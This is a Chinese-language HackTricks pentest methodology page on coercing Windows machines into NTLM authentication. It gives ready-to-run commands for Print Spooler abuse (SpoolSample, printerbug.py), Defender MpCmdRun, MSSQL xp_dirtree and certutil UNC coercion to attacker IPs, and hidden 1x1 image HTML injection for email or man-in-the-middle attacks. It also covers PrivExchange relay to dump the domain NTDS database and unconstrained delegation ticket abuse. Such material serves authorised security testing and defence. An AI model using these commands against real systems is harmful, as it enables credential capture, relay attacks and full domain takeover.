hacktricks/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md

5.9 KiB
Raw Blame History

强制使用 NTLM 特权身份验证

从零开始学习 AWS 黑客技术,成为专家 htARTEHackTricks AWS 红队专家)

SharpSystemTriggers

SharpSystemTriggers 是一个使用 MIDL 编译器以避免第三方依赖关系编写的 远程身份验证触发器 集合。

Spooler Service 滥用

如果 打印池 服务已启用,您可以使用一些已知的 AD 凭据向域控制器的打印服务器请求更新新的打印作业,并告诉它将通知发送到某个系统
请注意,当打印机将通知发送到任意系统时,它需要对该系统进行身份验证。 因此,攻击者可以使 打印池 服务对任意系统进行身份验证,而服务将在此身份验证中使用计算机帐户

查找域上的 Windows 服务器

使用 PowerShell 获取 Windows 服务器列表。 通常服务器是优先级较高的,因此让我们专注于这里:

Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt

寻找正在监听的打印池服务

使用稍作修改的 @mysmartloginVincent Le TouxSpoolerScanner,查看打印池服务是否正在监听:

. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}

您也可以在Linux上使用rpcdump.py并查找MS-RPRN协议。

rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN

请求服务对任意主机进行身份验证

您可以从这里编译SpoolSample

SpoolSample.exe <TARGET> <RESPONDERIP>

或者在Linux上使用3xocyte的dementor.pyprinterbug.py

python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>

结合无限制委派

如果攻击者已经成功入侵了一个启用了无限制委派的计算机,攻击者可以让打印机对该计算机进行身份验证。由于存在无限制委派,打印机的计算机帐户的TGT将被保存在具有无限制委派的计算机的内存中。由于攻击者已经控制了这台主机,他将能够检索此票证并滥用它(传递票证)。

RCP 强制身份验证

{% embed url="https://github.com/p0dalirius/Coercer" %}

PrivExchange

PrivExchange 攻击是在Exchange Server PushSubscription功能中发现的一个缺陷的结果。该功能允许Exchange服务器被任何具有邮箱的域用户强制对任何客户端提供的主机进行HTTP身份验证。

默认情况下,Exchange服务以SYSTEM身份运行并被赋予过多的特权具体来说在2019年之前的累积更新中它具有对域的WriteDacl特权)。可以利用此缺陷来实现将信息中继到LDAP随后提取域NTDS数据库。在无法中继到LDAP的情况下仍然可以利用此缺陷来中继和对域内的其他主机进行身份验证。成功利用此攻击将立即授予具有任何经过身份验证的域用户帐户的域管理员访问权限。

在Windows内部

如果您已经在Windows机器内部您可以使用以下命令强制Windows使用特权帐户连接到服务器

Defender MpCmdRun

C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt

MSSQL

MSSQL

EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1

或者使用另一种技术:https://github.com/p0dalirius/MSSQL-Analysis-Coerce

Certutil

可以使用 certutil.exe lolbinMicrosoft 签名的二进制文件)来强制执行 NTLM 认证:

certutil.exe -syncwithWU  \\127.0.0.1\share

HTML注入

通过电子邮件

如果您知道要入侵的计算机中登录用户的电子邮件地址,您可以发送一封带有1x1像素图像的电子邮件,例如

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

MitM

如果您可以对计算机执行中间人攻击并在他将要查看的页面中注入HTML您可以尝试在页面中注入如下图像

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

破解 NTLMv1

如果你能捕获 NTLMv1 挑战,请阅读此处如何破解它们
请记住,为了破解 NTLMv1你需要将 Responder 挑战设置为 "1122334455667788"